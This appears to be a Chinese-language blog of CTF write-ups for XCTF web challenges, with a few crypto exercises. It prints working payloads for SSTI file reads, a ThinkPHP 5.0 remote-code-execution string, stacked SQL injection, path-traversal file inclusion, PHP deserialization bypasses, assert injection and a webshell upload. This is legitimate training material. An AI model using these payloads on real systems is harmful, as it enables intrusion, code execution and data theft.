攻防世界

最近准备多点题,之前把攻防世界新手区做了,现在开始做进阶区

WEB

Web_python_template_injection

根据题目知道这是道SSTI注入点,但题里并没有告诉传参给谁,猜测是直接通过域名
测试

看出存在SSTI注入
可以测试出来这是python2
payload

{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('命令').read()}}

修改命令为Linux命令即可,flag就在当前文件夹,为fl4g,读取即可

php_rce

根据判断是thinkphp 5.0.20 的rce网上搜索即可
网上paylaod很多的
payload先放这儿

s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

supersqli

这个题之前在buuctf做过,就直接用payload了,后面再做做


分割线,补上之前的坑

根据题意是sql注入打开就是注入页面
测试后1' #; 1' and '1' ='1 # 返回正常,应该是单引号闭合
1' order by 3 回显错误,列数为3
union select 1,2 报错,对select进行了过滤

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

对select进行了过滤,看来无法用union select 来爆表库了,同时还过滤了一些其他的语句,
后来发现可以用堆叠注入

1';show databases; #  数据库(但ctf显然在ctftraing中)
1';use ctftraing; #
1';show tables; #
1';show columns from `1919810931114514`;  (注意是反引号,它是为了区分MYSQL的保留字与普通字符而引入的符号。)
1';show columns from `words`;

两个表中第一个表中出现了flag列
现在就要想办法得到值了,但是select又用不了
所以这里想到可以用select的替代handler
所以最终构造payload

1';handler `1919810931114514` open ; handler `1919810931114514` read first; #

得到flag

这里记录学到的其他方法

1 预处理

SET;  # 用于设置变量名和值
PREPARE stmt_name FROM preparable_stmt; # 用于预备一个语句,并赋予名称,以后可以引用该语句
EXECUTE stmt_name;      # 执行语句
{DEALLOCATE | DROP} PREPARE st mt_name; # 用来释放掉预处理的语句

可以通过将要用到的查询指令设置为一个变量,在进行查询
构造

1';set a=CONCAT('se','lect * from `1919810931114514`;');prepare flag from a;execute flag;

但是返回
strstr($inject, "set") && strstr($inject, "prepare")
set与prepare被过滤了
尝试大小写绕过
payload

1';sEt @a=CONCAT('se','lect * from `1919810931114514`;');prEpare flag from @a;execute flag;

2表名修改
因为这里最开始查询的内容是words里的,所以想办法把有flag列的表名改为words然后把列改为id
这里要用到alter (这里需要提前查询words的内容判断)

rename table 旧表名 to 新表名 :修改表名
alter table 表名 表选项 [=] 值:修改表选项
alter table 表名 add [column]  新字段名 列类型 [列属性] [位置first/after 字段名]:新增字段
   eg : alter table studen add column age int (默认是加到表的最后面)
   First : 在某某之前(最前面),第一个字段
   After 字段名: 放在某个字段之后(默认)
alter table 表名 change 旧字段名 新字段名 字段类型 [列属性] [新位置]:修改字段名;
   新字段名一般有新类型,所以必须输入字段类型
alter table 表名 modify 字段名 新类型 [新属性] [新位置]
alter table 表名 drop 字段名 : 删除字段

所以构造payload

rename table `words` to `a`;
rename table `1919810931114514` to `words`;
alter table `words` change `flag` `id` varchar(100);

最后查询:因为flag中肯定不是1,所以需要使用or使之恒成立

1' or '1' ='1  #

ics-06

这个题考点是爆破,不过我不知道是怎么猜出来是爆破的,看的网上的wp
只有那个报表中心能点动,然后爆破id,写个python脚本就可以了

import requests

url_1 = "http://220.249.52.133:49865/index.php?id={0}"
for i in range(1, 10001):
    print(i)
    url = url_1.format(i)
    r = requests.get(url)
    print(url)
    if int(r.headers["Content-Length"]) != 852:
        print(url)
        break

因为这里contnt-length如果是正常数字返回的852所以只要不是852就可以了

warmup

F12查看源码知道有个source.php的文件
审计代码
题意大致为对传入的file进行检查,满足白名单才能包含文件,第一步是直接检查,第二步是检查?之前的部分,如果file本身没带?,函数对file进行了处理在末尾加?,反正最终结果是再对?之前的内容进行白名单检验
通过hint.php我们可以知道flag在ffffllllaaaagggg中
直接上paylaod吧

source.php?file=source.php?../../../../../ffffllllaaaagggg

因为不知道flag的具体位置需要层一层的试

NewsCenter

简单的sql注入,没有设置任何过滤,sql注入正常流程就可以了

web2

虽然是个web题,但我感觉像个密码学的题
直接看页面的源码

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){
    $_o=strrev($str);
    // echo $_o;

    for($_0=0;$_0<strlen($_o);$_0++){

        $_c=substr($_o,$_0,1);
        $__=ord($_c)+1;
        $_c=chr($__);
        $_=$_.$_c;   
    } 
    return str_rot13(strrev(base64_encode($_)));
}

highlight_file(__FILE__);
/*
   逆向加密算法,解密$miwen就是flag
*/
?> 

将他给的字符串进行解密就可以了
先对字符串str_rot (对所有的字母左移13位,解密和加密的结果一样)
反转后再进行base64解码
然后再简单写个php代码就可以了,将他题目中的代码+1换成-1 (原题里代码的意思是将字符串每个的字符的ASCII+1)

<?php

$_o="~88:36e1bg8438e41757d:29cgeb6e48c`GUDTO|;hbmg";
    // echo $_o;

    for($_0=0;$_0<strlen($_o);$_0++){

        $_c=substr($_o,$_0,1);
        $__=ord($_c)-1;
        $_c=chr($__);
        $_=$_.$_c;   

}
   echo strrev($_);

最后记得反转下就可以了,因为原题偏移前进行了反转

PHP2

打开页面提醒
Can you anthenticate to this website?
没什么用处

F12没有任何提醒,response中也没有任何有用的东西,再试试robost.txt,也无
没办法御剑扫下
扫出来一个phps,好家伙

打开看看

把代码顺序整理下


<?php
if("admin"===$_GET[id]) {
  echo("<p-->not allowed!");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
  echo "Access granted!";
  echo "Key: xxxxxxx ";
}
?>

晃眼一看还以为是弱类型比较,试了半天发现不对,是我傻逼了,怎么犯了这么弱智的问题,这根本不是弱类型比较,注意到urldecode,是url二次编码的问题
payload

id=%2561dmin

解释下因为浏览器本身会进行一次解码,所以需要将%编码成%25,然后当浏览器编码后传到服务器后变成%61dmin,%61是a的url编码,所以解码后变成admin ,比较成立

unserialize3

很简单的一道题
根据题目我们这个题需要用到反序列化
页面源码

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

看得出可以用code传值
写个利用代码

<?php

class xctf{
public $flag = '111';

}

$A=new xctf();
var_dump(serialize($A));

得到

code=O:4:"xctf":1:{s:4:"flag";s:3:"111";}

至于wake_up,可以直接通过修改属性值可以绕过
所以最终的payload

code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

upload1

文件上传题,简单测试发现只在前端用js验证,删掉check函数就可以直接上传任意文件
上传一个一句话木马文件再用蚁剑连接就可

Web_php_unserialize

反序列化题目
看源码

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

绕过wakeup不难主要是绕过var的检测,他不允许O:数字 和 c:数字过去,所以这里要用到 O:+4 的方法绕过,接着注意file属性是私有化的,而私有化的属性在反序列化的时候有要求如下

private属性序列化:%00类名%00成员名
protect属性序列化:%00*%00成员名

就这两点,借用下网上的脚本

<?php
    class Demo { 
        private $file = 'index.php';
        public function __construct($file) { 
            $this->file = $file; 
        }
        function __destruct() { 
            echo @highlight_file($this->file, true); 
        }
        function __wakeup() { 
            if ($this->file != 'index.php') { 
                //the secret is in the fl4g.php
                $this->file = 'index.php'; 
            } 
        } 
    }
    $Demo = new Demo('fl4g.php');
    $data = serialize($Demo);

    $data = str_replace('O:4', 'O:+4', $data);
    $data = str_replace(':1:', ':2:', $data);
    echo (base64_encode($data));
?>

easytornado

buuctf上做过,写过文章就不写了
传送门

shrine

又是一道SSTI注入题,flask在环境变量中,还过滤了一些东西,emmm,不会读环境变量直接搜wp吧

{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}

记录下
get_flashed_messages    //字面意思,获取内容,就是取值,后面跟的就是要取得值

current_app         //设计模式中代理设计的代理对象,指向flask核心对象和reques的请求类

mfw

打开页面几个页面看下,查看F12有个flag.php,将flag.php输入到page中没有任何回显
注意到about说这个页面用了git
猜测是git泄露
使用githack得到源码
根据index.php发现有个文件包含,但不会绕过。。。。。
想了很久做不来了,难受,看wp
构建了

?page=about') or system("cat templates/flag.php");//

将内容带入源码得到

$file = "templates/abc') or system("cat templates/flag.php");//.php";
assert("strpos('templates/abc') or system("cat templates/flag.php");//.php', '..') === false") or die("Detected hacking attempt!");

可以看到 strpos 被提前闭合了,并且后面的内容用//给注释掉了
再看看官方文档对assert的解释

assert(assertion)
如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。

看得出来通过闭合语句,然后当作php代码执行

至于为什么泄露的源码中flag.php没有flag我猜测是git提交没更新,所以不能直接看到,这是我的猜测并没有求证

crypto

(从新手区开始)

base64

根据题目知道这是base64加密,在线base64解密即可

为了加强一下python的学习,熟悉一下python如何进行base64解码(之前一直没学习过)

import base64
s='Y3liZXJwZWFjZXtXZWxjb21lX3RvX25ld19Xb3JsZCF9'
print(base64.b64decode(s))
# 加密时 b64encode

根据题目猜测是凯撒加密
凯撒加密,加密偏移14位,或者解密偏移12位,直接找网上的在线解密或者自己写个脚本,我根据网上的脚本写了个,网上的是把所有的便宜都列出来了,因为我这里可以根据flag的格式猜测,第一个字母一定是c然后根据给出的密文偏移就行了,所以能猜出来

a='oknqdbqmoq{kag_tmhq_xqmdzqp_omqemd_qzodkbfuaz}'
t='abcdefghijklmnopqrstuvwxyz'
flag=''

for i in a:
    num=t.find(i)
    if num != -1:
        num=(num+14)%26
        flag=flag+t[num]
    else:
        flag=flag+i
print(flag)
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇